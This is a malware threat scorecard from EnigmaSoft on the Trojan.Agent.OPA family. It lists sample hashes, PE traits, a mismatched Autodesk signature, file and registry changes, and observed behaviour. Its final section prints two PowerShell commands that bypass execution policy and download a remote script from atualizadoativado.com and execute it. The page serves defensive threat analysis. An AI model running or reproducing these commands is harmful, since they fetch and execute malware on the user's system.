Trojan.Agent.OPA
Threat Scorecard
EnigmaSoft Threat Scorecard
EnigmaSoft Threat Scorecards are assessment reports for different malware threats which have been collected and analyzed by our research team. EnigmaSoft Threat Scorecards evaluate and rank threats using several metrics including real-world and potential risk factors, trends, frequency, prevalence, and persistence. EnigmaSoft Threat Scorecards are updated regularly based on our research data and metrics and are useful for a wide range of computer users, from end users seeking solutions to remove malware from their systems to security experts analyzing threats.
EnigmaSoft Threat Scorecards display a variety of useful information, including:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Severity Level: The determined severity level of an object, represented numerically, based on our risk modeling process and research, as explained in our Threat Assessment Criteria.
Infected Computers: The number of confirmed and suspected cases of a particular threat detected on infected computers as reported by SpyHunter.
See also Threat Assessment Criteria.
| Popularity Rank: | 2,467 |
| Threat Level: | 80 % (High) |
| Infected Computers: | 349 |
| First Seen: | October 1, 2024 |
| Last Seen: | March 4, 2026 |
| OS(es) Affected: | Windows |
Table of Contents
Analysis Report
General information
| Family Name: | Trojan.Agent.OPA |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
66b06e2c5d3a02c0324e8cd381d3aef4
SHA1:
86dde8f4a883e0f8024f463192237f916b53a6b8
SHA256:
CF7A9D46DF6B7F1B7AD3A1E9E96F3CB4269C955E739A1B8FC888D1A94B72D314
File Size:
657.41 KB, 657408 bytes
|
|
MD5:
8918889bd2e058b9119147d65455daeb
SHA1:
b648f4a743a7c20bdc9a6dae302ec385e0f5d76f
SHA256:
BFA4422EAEF6B4EEC07CD4C278647602FBA87A77CF294284804D0159B93B5ACB
File Size:
351.23 KB, 351232 bytes
|
|
MD5:
7ad1e6d101bf6f491c565bd5379bd29d
SHA1:
11362c14086cceac1bbae01327fe36b140831116
SHA256:
C9D442AF239EFC4DC46C01BD3FA178FE8ED89CEBE9C2B1F62D911207C8CC5393
File Size:
2.63 MB, 2634752 bytes
|
|
MD5:
f001cdacd15e1e8bd0a5267e2d03243e
SHA1:
41baaef96b775375ecd19aadce3cd5d7065cc1ad
SHA256:
6BF51F4A226E9FB2748949474CD992167DBEF79E5055004F95460396C3FDF811
File Size:
147.46 KB, 147456 bytes
|
|
MD5:
ce6354e788536c0b45fede3d8c32e1db
SHA1:
bde2ee55944f257260a9afea7e4eecacfa2a7eba
SHA256:
CDB47609B88411874EC4FE93F0AAAAF0DA8271F2AF29E2126CF8DE755BB7046E
File Size:
352.26 KB, 352256 bytes
|
Show More
|
MD5:
f2b28695f67135de24683a183942fdb5
SHA1:
1f19a5b7a5ef908e1e11448549c599a9ccb40043
SHA256:
B9B595FD5D07E50E269C1DB523EA7278123F747F4C9F1D64493715D58F32CA79
File Size:
167.94 KB, 167936 bytes
|
|
MD5:
5d22cfa3cb437968aad41ac25d0f83ef
SHA1:
56742cc36eecea4d5484ee2b9c8555154be1756c
SHA256:
2CF074424B03930DCA1323FB2B577545DBFAC0ED86E715A74944D9EFAE6638FD
File Size:
151.55 KB, 151552 bytes
|
|
MD5:
11a165a95b3cbec850c782ad2e0a1042
SHA1:
6e54aa9054555eb192b4f6cc6ba0a88bc81a618d
SHA256:
C235AF51EBF810C46F5314EC7EB1F8145839946C848008A2D3D9009EF6835FD1
File Size:
312.32 KB, 312320 bytes
|
|
MD5:
893520ee8ca001e9a8932f08b529d945
SHA1:
d361d39b1f64fca1157d320037359d081f1eb186
SHA256:
83643C8ABD9FD724907BCCDFB103B84256EC45B64EDC00E270049B92E316153B
File Size:
389.12 KB, 389120 bytes
|
|
MD5:
2c627407a3a9b9a7014dde4f43b65a24
SHA1:
af58c4bc79dfca2e2dc5461a1aa5a63312de9561
SHA256:
BFBB3CAFD258D60B989BCE4C24EFA7A7E03AE34395CFA7BD2C65BA99A77C2592
File Size:
158.21 KB, 158208 bytes
|
|
MD5:
ddc21a7231b86247a54c4be7631746d8
SHA1:
4056cd39abbbc87a934c3e6a79e0ae12516d2295
SHA256:
A9AAC8A8FFA20B2901D24E4F4E6C0EFDC20D6046EE3AF9A0ACB5BF98C4849983
File Size:
794.11 KB, 794112 bytes
|
|
MD5:
f5b3b3cd19850eab1efb0f506a1ac967
SHA1:
371a8dc91f90dbdaf9ddc40e65d7fd0ae303d8b7
SHA256:
3959C644A6EE0B359851C3668CEB7F670546D6486AE8263161208CB201E42A4F
File Size:
194.56 KB, 194560 bytes
|
|
MD5:
6c7e2b5ab760e89411deaa9142f06cf3
SHA1:
da79a890f2c6dc83a70f426422862dd5af00c329
SHA256:
BF60015D44AFC78564C0696F9FDCA0A510198952EB79AD9612F35C5DDC7F3F36
File Size:
3.08 MB, 3078144 bytes
|
|
MD5:
4db390ebd25289814d49edc1f5fd755d
SHA1:
841aeffed95eec4eea65648fd9f93f288a014379
SHA256:
24C22B0DCBBBA546C4C0A677BD7E51EC4279E03654DD5C5D35F06E47CB2D8101
File Size:
380.42 KB, 380416 bytes
|
|
MD5:
d405d391ed14080cd4fe6991c1aa575f
SHA1:
08cbeaffb88af484e1cb3a8003af527b9c147d0c
SHA256:
F9A40DC8A64BB4736126590378151CE17A7868EF65393498677049E644FFFCC4
File Size:
175.10 KB, 175104 bytes
|
|
MD5:
de8945cf8a5ed7be354f4355e185c490
SHA1:
b052a14e6a30e825c5a418e288aeb4eb6d66a7e4
SHA256:
A709FFC810E998E335025CE197B36C2395D876965EBCADD32F3A1F6D7B23D554
File Size:
195.07 KB, 195072 bytes
|
Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have relocations information
- File doesn't have resources
- File doesn't have security information
- File has exports table
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
Show More
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
Show More
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Comments | metapath |
| Company Name |
|
| File Description |
|
| File Version |
|
| Internal Name |
|
| Legal Copyright |
|
| Original Filename |
|
| Product Name |
|
| Product Version |
|
Digital Signatures
Digital Signatures
This section lists digital signatures that are attached to samples within this family. When analyzing and verifying digital signatures, it is important to confirm that the signature’s root authority is a well-known and trustworthy entity and that the status of the signature is good. Malware is often signed with non-trustworthy “Self Signed” digital signatures (which can be easily created by a malware author with no verification). Malware may also be signed by legitimate signatures that have an invalid status, and by signatures from questionable root authorities with fake or misleading “Signer” names.| Signer | Root | Status |
|---|---|---|
| Autodesk, Inc. | DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 | Hash Mismatch |
File Traits
- fptable
- HighEntropy
- No Version Info
- WriteProcessMemory
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 379 |
|---|---|
| Potentially Malicious Blocks: | 1 |
| Whitelisted Blocks: | 377 |
| Unknown Blocks: | 1 |
Visual Map
?
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
2
0
2
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- AddUser.XB
- Agent.GFOA
- Agent.GSDT
- Agent.IFSC
- Agent.LKS
Show More
- Agent.LPQ
- Agent.LPQA
- Agent.OSR
- Agent.PSA
- Exploit.X
- Farfli.RE
- Gamehack.GACE
- Havoc.L
- Kryptik.DTGC
- Kryptik.KPJ
- Mimikatz.CWK
- Pycoon.A
- Rugmi.GJ
- ShellcodeRunner.KSA
- ShellcodeRunner.LZ
- ShellcodeRunner.TX
- Spy.Agent.KG
- Trojan.Agent.Gen.AAQ
- Trojan.Agent.Gen.ADD
- Trojan.Agent.Gen.AGT
- Trojan.Agent.Gen.AHJ
- Trojan.Agent.Gen.AQG
- Trojan.Agent.Gen.ATY
- Trojan.Agent.Gen.CD
- Trojan.Agent.Gen.DZ
- Trojan.Agent.Gen.GQ
- Trojan.Agent.Gen.IN
- Trojan.Agent.Gen.IU
- Trojan.Agent.Gen.OC
- Trojan.Agent.Gen.TX
- Trojan.Agent.Gen.UT
- Trojan.Agent.Gen.VW
- Trojan.Agent.Gen.YS
- Trojan.Agent.Gen.ZQ
- Trojan.Downloader.Gen.CQ
- Trojan.Downloader.Gen.DI
- Trojan.Downloader.Gen.EN
- Trojan.Injector.Gen.FLW
- Trojan.Kryptik.Gen.CYB
- Trojan.ShellcodeRunner.Gen.BD
- Trojan.ShellcodeRunner.Gen.BL
- Trojan.ShellcodeRunner.Gen.FJ
- Trojan.ShellcodeRunner.Gen.FS
- Trojan.ShellcodeRunner.Gen.JU
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134136776547180413.7232.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134136776547336726.6472.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134167075550148938.672.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\pshost.134167075550376978.7688.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_16.db | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_idx.db | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.0.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.1.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
Show More
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.2.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_2ltv0sxq.r3m.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_34qyhnmg.tej.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3wetjcdh.sxj.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_4y5c4rh1.ukq.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_navh4xrt.jeh.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_nvy3qtyn.ulm.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_onogysay.dkc.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_y43zjyqs.0h0.ps1 | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKCU\software\thrustmaster\apibridge::maintenance | RegNtPreCreateKey | |
| HKCU\software\thrustmaster\apibridge::maintenance | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\explorer\mountpoints2\##10.200.31.10#amas::_labelfromdesktopini | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 瘴ի貰ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey |
Show More
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ꤸ躹ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 浰躾ǜ | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
Show More
127 additional items are not displayed above. |
| Other Suspicious |
|
| Service Control |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Process Manipulation Evasion |
|
| Encryption Used |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
| Network Info Queried |
|
Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
c:\users\user\downloads\RED\Binaries\Win64\DRAGON_BALL_FighterZ.exe
|
powershell -Exec Bypass -NoProfile -WindowStyle Hidden -c "(New-Object Net.WebClient).DownloadString('http://atualizadoativado.com/0/0.ps1') | iex"
|
powershell -Exec Bypass -NoProfile -WindowStyle Hidden -c "(New-Object Net.WebClient).DownloadString('http://atualizadoativado.com/0/corel/0.ps1') | iex"
|
